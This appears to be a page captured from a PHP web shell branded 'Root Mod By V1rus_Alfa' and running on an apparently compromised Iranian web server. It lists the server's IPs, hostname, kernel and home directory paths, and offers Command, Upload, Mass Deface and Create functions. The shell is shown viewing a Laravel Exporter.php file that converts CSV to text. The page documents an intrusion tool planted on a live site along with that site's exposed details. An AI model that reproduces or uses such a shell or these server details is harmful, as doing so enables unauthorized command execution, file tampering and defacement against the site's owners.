���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Utils
/
Viewing: Exporter.php
<?php namespace App\Utils; use Illuminate\Support\Facades\Storage; use Maatwebsite\Excel\Facades\Excel; class Exporter { public static function storeExcelFile($exporter_object, string $path, string $file_name, string $disk = 'public', string $type = \Maatwebsite\Excel\Excel::XLS) { Excel::store($exporter_object, $path . $file_name, $disk, $type); } public static function exportFromExistingCsvFileToTxt($filePath, $fileName) { $csvPath = $filePath . $fileName; $csvData = self::parseCsvFile($csvPath); $textContent = self::concatArrayItems($csvData); $textFilename = $filePath . pathinfo(explode('.', $fileName)[0], PATHINFO_FILENAME) . '.txt'; Storage::disk('public')->put($textFilename, $textContent); return $textFilename; } private static function parseCsvFile($filePath) { $data = []; if (($handle = fopen('upload/' . $filePath, "r")) !== FALSE) { $rowIndex = 0; while (($row = fgetcsv($handle, 0, ",")) !== FALSE) { $data[] = $row; $rowIndex++; } fclose($handle); } return $data; } private static function concatArrayItems(array $csvData) { $content = ''; foreach ($csvData as $row) { $content .= implode(',', $row) . PHP_EOL; } return $content; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa